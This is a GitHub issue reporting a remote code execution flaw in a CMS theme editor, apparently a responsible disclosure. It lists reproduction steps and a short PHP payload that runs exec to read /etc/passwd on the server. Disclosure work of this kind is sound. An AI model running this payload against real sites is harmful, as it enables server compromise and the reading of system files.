Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Remote Code Execution via Theme module #464

Closed
th3lawbreaker opened this issue May 22, 2020 · 0 comments
Closed

Remote Code Execution via Theme module #464

th3lawbreaker opened this issue May 22, 2020 · 0 comments

Comments

@th3lawbreaker
Copy link

Describe the bug
An attacker could insert any executable code through php via Theme Module to execution command in the server

To Reproduce

  • Log into the panel.
  • Go to "/admin/index.php?id=themes&action=edit_chunk"
  • Click edit
  • Insert payload
<?php exec('cat /etc/passwd 2>&1', $output); ?>
<?php print_r($output); ?>
  • Go to index view

Screenshot_2020-05-23_00-52-311727905db1c67506.png

Screenshot_2020-05-23_01-03-263c0e76697d8d8324.png

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant